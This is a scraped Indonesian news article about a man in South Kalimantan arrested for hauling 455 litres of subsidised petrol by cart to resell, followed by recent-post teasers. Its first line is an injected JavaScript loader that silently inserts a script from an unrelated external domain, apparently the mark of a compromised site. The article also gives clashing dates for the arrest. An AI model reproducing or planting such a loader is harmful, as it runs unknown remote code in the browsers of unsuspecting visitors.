(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Angkut 455 Liter Bensin dengan Gerobak, Idas Diamankan Polisi


AMUNTAI, Darsani alias Idas (22) terpaksa berurusan dengan Polsek Babirik Kabupaten Hulu Sungai Utara (HSU) lantaran kedapatan membawa BBM jenis premium terkait penyalahgunaan pengangkutan BBM bersubsidi.

Pelaku diketahui warga Desa Pihanin Raya RT 002 RW 007 Kecamatan Daha Selatan Kabupaten Hulu Sungai Selatan (HSS) terjaring saat berniat menjual BBM jenis premium ke daerah Kecamantan Babirik, Kabupaten HSU.

Tak tanggung-tanggung, meski hanya menggunakan kerobak yang ditarik dengan sepeda motor, sedikitnya 455 liter bensin bakal dijual ke wilayah Kecamatan Babirik.
“Pelaku membeli BBM dari daerah Kandangan, terus akan dijual di wilayah Babirik, usahanya itu dilakukan sudah sekitar 6 bulan,” ujar Kapolsek Babirik Iptu Momo Jon Rodok kepada Kanalkalimantan.com, Selasa (3/11).

Dari informasinya, terjaringnya pelaku pada hari Senin (2/12/2019) sekira jam 09.55 Wita, di Desa Babirik Hilir, Kecamatan Babirik, Kabupaten Hulu Sungai Utara.

Pelaku tertangkap tangan saat sedang mengangkut bahan bakar minyak jenis premium alias bensin sebanyak 455 liter.

Premium tersebut disimpan dalam 13 buah jerigen berukuran 35 liter, masing-masing jerigen dimasukkan di dalam satu buah karung. Pelaku mengangkut bensin tersebut menggunakan sepeda motor jenis bebek dengan satu buah gerobak kayu.

Untuk mengelabui gerobak kayu tersebut ditutupi dengan terpal, kepada polisi pelaku mengaku membawa bensin tersebut untuk dijual kembali.

Atas temuan tersebut saat ini pelaku bersama barang bukti diamankan di Mapolsek Babirik untuk penyidikan lebih lanjut.

Pelaku bakal dikenakan tuduhan penyalahgunaan pengangkutan dan atau niaga BBM sebagaimana dimaksud dalam rumusan pasal 53 huruf b dan d Jo pasal 23 ayat (2) huruf b dan d UU RI nomor 22 tahun 2001 tentang minyak dan gas bumi dengan ancaman maksimal 4 tahun penjara dan denda maksimal Rp 40milliar. (dew)

Reporter : Dew
Editor : Bie

 


Desy Arfianty

Recent Posts

Diakhiri Nobar Timnas, Pj Bupati Kapuas Menutup Expo Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi secara resmi menutup gelaran Expo… Read More

2 jam ago

Bingkisan Kebahagiaan PLN untuk Warga Kalsel yang Membutuhkan

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur (UIP3B) Kalimantan melalui… Read More

2 jam ago

Asa Warga Banjarmasin Timnas Indonesia Masuk Olimpiade Paris 2024

KANALKALIMANTAN.COM, BANJARMASIN - Nonton bareng (Nobar) laga semifinal AFC U-23 Indonesia vs Uzbekistan di halaman… Read More

2 jam ago

Ini Tiga Rekor Muri Sebagai Kado HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS – Tiga rekor Museum Rekor Indonesia (Muri) menjadi catatan kado Hari Jadi… Read More

3 jam ago

Ritual Laluhan dan Ngarunya Lengkapi Perayaan HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Momen perayaan Hari Jadi ke-218 Kota Kuala Kapuas dan Hari Ulang… Read More

3 jam ago

Laga Terakhir Timnas Indonesia Berharap Juara Ketiga Piala Asia U-23

KANALKALIMANTAN.COM, BANJARBARU - Tim Nasional (Timnas) Indonesia U-23 dipastikan gagal melaju ke final Piala Asia… Read More

5 jam ago

This website uses cookies.